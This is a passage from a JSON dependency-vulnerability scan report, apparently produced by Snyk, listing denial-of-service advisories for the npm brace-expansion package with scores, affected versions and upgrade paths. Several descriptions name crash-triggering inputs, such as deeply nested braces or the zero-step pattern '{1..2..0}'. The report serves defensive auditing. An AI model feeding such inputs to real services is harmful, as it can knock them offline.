"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
